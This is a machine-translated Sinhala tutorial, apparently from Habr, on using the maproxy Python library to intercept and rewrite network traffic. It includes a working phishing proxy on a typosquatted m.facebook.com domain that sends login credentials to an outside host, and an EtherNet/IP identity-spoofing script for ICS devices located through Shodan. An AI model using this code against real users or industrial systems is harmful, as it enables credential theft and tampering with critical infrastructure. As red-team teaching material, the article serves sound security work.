පාඨමාලා ආරම්භයට ආසන්න දිනක ලිපියේ පරිවර්තනය සකස් කරන ලදී
විවරණය
නිත්ය විනිවිද යාමේ පරීක්ෂණ සහ Red Team මෙහෙයුම්වල සිට IoT/ICS උපාංග සහ SCADA හැක් කිරීම දක්වා විවිධ ආකාරයේ ආරක්ෂක තක්සේරු කිරීම්, ද්විමය ජාල ප්රොටෝකෝල සමඟ වැඩ කිරීම ඇතුළත් වේ, එනම්, සේවාදායකයා සහ ඉලක්කය අතර ජාල දත්ත අත්යවශ්යයෙන්ම බාධා කිරීම සහ වෙනස් කිරීම. Wireshark, Tcpdump හෝ Scapy වැනි මෙවලම් අප සතුව ඇති බැවින් ජාල තදබදය උකහා ගැනීම අපහසු කාර්යයක් නොවේ, නමුත් ජාල දත්ත කියවීමට, පෙරීමට, වෙනස් කිරීමට අපට යම් ආකාරයක අතුරු මුහුණතක් අවශ්ය වන බැවින් වෙනස් කිරීම වඩා ශ්රම-දැඩි කාර්යයක් බව පෙනේ. එය පියාසර කරන අතර තථ්ය කාලීනව ඉලක්ක සත්කාරක වෙත ආපසු යවන්න. මීට අමතරව, එවැනි මෙවලමක් බහු සමාන්තර සම්බන්ධතා සමඟ ස්වයංක්රීයව ක්රියා කළ හැකි නම් සහ ස්ක්රිප්ට් භාවිතයෙන් අභිරුචිකරණය කළ හැකි නම් එය වඩාත් සුදුසු වේ.
දවසක් මම ටූල් එකක් හොයාගත්තා
, ලේඛන ඉක්මනින් මට එය පැහැදිලි විය maproxy
- මට අවශ්ය දේ පමණයි. මෙය තරමක් සරල, බහුකාර්ය සහ පහසුවෙන් වින්යාසගත කළ හැකි TCP ප්රොක්සියකි. බොහෝ සමාන්තර සම්බන්ධතා හැසිරවිය හැකිදැයි බැලීමට ICS උපාංග (පැකට් ගොඩක් ජනනය කරන) ඇතුළු තරමක් සංකීර්ණ යෙදුම් කිහිපයක් මත මම මෙම මෙවලම පරීක්ෂා කළ අතර මෙවලම හොඳින් ක්රියාත්මක විය.
මෙම ලිපිය මඟින් ඔබට පියාසර භාවිතයෙන් ජාල දත්ත සැකසීමට හඳුන්වා දෙනු ඇත maproxy
.
දළ විශ්ලේෂණය
මෙවලම maproxy
Python හි ජනප්රිය සහ පරිණත අසමමුහුර්ත ජාලකරණ රාමුවක් වන Tornado මත පදනම් වේ.
පොදුවේ, එය ආකාර කිහිපයකින් ක්රියා කළ හැකිය:
TCP:TCP
- සංකේතනය නොකළ TCP සම්බන්ධතා;TCP:SSL
иSSL:TCP
- එක්-මාර්ග සංකේතනය සමඟ;SSL:SSL
- ද්වි-මාර්ග සංකේතනය.
එය පුස්තකාලයක් ලෙස පැමිණේ. ඉක්මන් ආරම්භයක් සඳහා, ඔබට ප්රධාන දේ පිළිබිඹු කරන උදාහරණ ගොනු භාවිතා කළ හැකිය
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
නඩුව 1 - සරල ද්විපාර්ශ්වික ප්රොක්සි
මත පදනම්ව tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
පෙරනිමියෙන් ProxyServer()
තර්ක දෙකක් ගනී - සම්බන්ධතා ස්ථානය සහ ඉලක්ක වරාය. server.listen()
එක් තර්කයක් ගනී - එන සම්බන්ධතාවයට සවන් දීම සඳහා වරාය.
පිටපත ක්රියාත්මක කිරීම:
# python tcp2tcp.py
පරීක්ෂණය ක්රියාත්මක කිරීම සඳහා, අපි සවන් දෙන අපගේ ප්රොක්සි ස්ක්රිප්ට් හරහා දේශීය SSH සේවාදායකයකට සම්බන්ධ වීමට යන්නෙමු. 2222/tcp
වරාය සහ සම්මත වරායකට සම්බන්ධ වේ 22/tcp
SSH සේවාදායකයන්:
අපගේ උදාහරණ ස්ක්රිප්ටය ජාල ගමනාගමනය සාර්ථකව ප්රොක්සි කර ඇති බව පිළිගැනීමේ බැනරය ඔබට දන්වයි.
නඩුව 2 - දත්ත වෙනස් කිරීම
තවත් demo script එකක් logging_proxy.py
ජාල දත්ත සමඟ අන්තර්ක්රියා කිරීමට සුදුසුය. ගොනුවේ ඇති අදහස් ඔබේ ඉලක්කය සපුරා ගැනීම සඳහා ඔබට වෙනස් කළ හැකි පන්ති ක්රම විස්තර කරයි:
වඩාත්ම සිත්ගන්නා කරුණ මෙන්න:
on_c2p_done_read
- සේවාලාභියාගේ සිට සේවාදායකයට යන මාර්ගයේ දත්ත බාධා කිරීමට;on_p2s_done_read
- ආපසු හැරවිය.
සේවාදායකයා සේවාදායකයා වෙත ආපසු ලබා දෙන SSH බැනරය වෙනස් කිරීමට උත්සාහ කරමු:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
පිටපත ක්රියාත්මක කරන්න:
ඔබට පෙනෙන පරිදි, සේවාදායකයා නොමඟ යවා ඇත්තේ ඔහු සඳහා වූ SSH සේවාදායකයේ නම වෙනස් කර ඇති බැවිනි «DumnySSH»
.
නඩුව 3 - සරල තතුබෑම් වෙබ් පිටුව
මෙම මෙවලම භාවිතා කිරීමට නිමක් නැති ක්රම තිබේ. මෙවර Red Team මෙහෙයුම් පැත්තෙන් වඩාත් ප්රායෝගික දෙයක් වෙත අවධානය යොමු කරමු. අපි ගොඩබෑමේ පිටුව අනුකරණය කරමු m.facebook.com
සහ හිතාමතා මුද්රණ දෝෂයක් සහිත අභිරුචි වසමක් භාවිතා කරන්න, උදාහරණයක් ලෙස, m.facebok.com
. නිරූපණ අරමුණු සඳහා, වසම අප විසින් ලියාපදිංචි කර ඇති බව උපකල්පනය කරමු.
අපි අපගේ වින්දිතයින්ගේ ප්රොක්සි සහ SSL ප්රවාහය සමඟ සංකේතනය නොකළ ජාල සම්බන්ධතාවයක් ෆේස්බුක් සේවාදායකයට ස්ථාපනය කිරීමට යන්නෙමු (31.13.81.36
) මෙම උදාහරණය ක්රියාත්මක කිරීම සඳහා, අපට HTTP ධාරක ශීර්ෂය ප්රතිස්ථාපනය කර නිවැරදි සත්කාරක නාමය එන්නත් කිරීමට අවශ්ය වන අතර, අපට පහසුවෙන් අන්තර්ගතයට ප්රවේශ විය හැකි වන පරිදි ප්රතිචාර සම්පීඩනය ද අබල කරන්නෙමු. අවසාන වශයෙන් අපි HTML පෝරමය ප්රතිස්ථාපනය කරන්නෙමු එවිට Facebook හි සේවාදායකයන් වෙනුවට පිවිසුම් අක්තපත්ර අප වෙත එවනු ලැබේ:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/si/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
අවසානයේ:
ඔබට පෙනෙන පරිදි, මුල් වෙබ් අඩවිය ප්රතිස්ථාපනය කිරීමට අපට සාර්ථකව හැකි විය.
4 වන අවස්ථාව - ඊතර්නෙට්/IP Porting
මම ක්රමලේඛගත කළ හැකි පාලක (PLC), I/O මොඩියුල, ඩ්රයිව්, රිලේ, ඉණිමඟ ක්රමලේඛන පරිසරයන් සහ තවත් බොහෝ කාලයක් කාර්මික උපාංග සහ මෘදුකාංග (ICS/SCADA) සමඟ ගනුදෙනු කර ඇත. මේ කේස් එක කාර්මික දේවල් වලට කැමති අයට. එවැනි විසඳුම් හැක් කිරීම ජාල ප්රොටෝකෝල සමඟ සක්රියව ක්රීඩා කිරීම ඇතුළත් වේ. පහත උදාහරණයේදී, ඔබට ICS/SCADA ජාල ගමනාගමනය වෙනස් කළ හැකි ආකාරය පෙන්වීමට මම කැමතියි.
මේ සඳහා ඔබට පහත සඳහන් දෑ අවශ්ය වනු ඇත:
- Network sniffer, උදාහරණයක් ලෙස, Wireshark;
- Ethernet/IP හෝ SIP උපාංගයක් පමණි, ඔබට එය Shodan සේවාව භාවිතයෙන් සොයාගත හැකිය;
- අපගේ පිටපත පදනම් වී ඇත
maproxy
.
පළමුව, CIP (Common Industrial Protocol) වෙතින් සාමාන්ය හඳුනාගැනීමේ ප්රතිචාරයක් පෙනෙන්නේ කෙසේදැයි බලමු:
CIP වැනි පාලන ප්රොටෝකෝල ආවරණය කරන කාර්මික ඊතර්නෙට් ප්රොටෝකෝලයේ වැඩි දියුණු කළ අනුවාදයක් වන ඊතර්නෙට්/අයිපී ප්රොටෝකෝලය භාවිතයෙන් උපාංග හඳුනාගැනීම සිදු කෙරේ. අපි තිර පිටපතේ පෙනෙන උද්දීපනය කළ හැඳුනුම්පත වෙනස් කරන්නෙමු "ඊතර්නෙට් සඳහා NI-IndComm" අපගේ ප්රොක්සි ස්ක්රිප්ට් භාවිතයෙන්. අපට පිටපත නැවත භාවිතා කළ හැකිය logging_proxy.py
ඒ හා සමානව පන්ති ක්රමය වෙනස් කරන්න on_p2s_done_read
, අපට වෙනත් අනන්යතා නාමයක් සේවාලාභියා මත දෘශ්යමාන වීමට අවශ්ය නිසා.
කේතය:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
අත්යවශ්යයෙන්ම, අපි උපාංග හඳුනා ගැනීම සඳහා දෙවරක් ඉල්ලා සිටියෙමු, දෙවන ප්රතිචාරය මුල් ප්රතිචාරය වූ අතර පළමු එක පියාසර කිරීමේදී වෙනස් කරන ලදී.
සහ අන්තිම
මගේ මතය අනුව maproxy
පහසු සහ සරල මෙවලමක්, එය Python හි ද ලියා ඇත, එබැවින් ඔබටත් එය භාවිතා කිරීමෙන් ප්රයෝජන ගත හැකි බව මම විශ්වාස කරමි. ඇත්ත වශයෙන්ම, ජාල දත්ත සැකසීම සහ වෙනස් කිරීම සඳහා වඩාත් සංකීර්ණ මෙවලම් ඇත, නමුත් ඒවාට වැඩි අවධානයක් අවශ්ය වන අතර සාමාන්යයෙන් විශේෂිත භාවිත අවස්ථාවක් සඳහා නිර්මාණය කර ඇත, උදා. maproxy
උදාහරණ ස්ක්රිප්ට් ඉතා පැහැදිලි බැවින් ජාල දත්ත වලට බාධා කිරීම සඳහා ඔබේ අදහස් ඉක්මනින් ක්රියාත්මක කළ හැක.
මූලාශ්රය: www.habr.com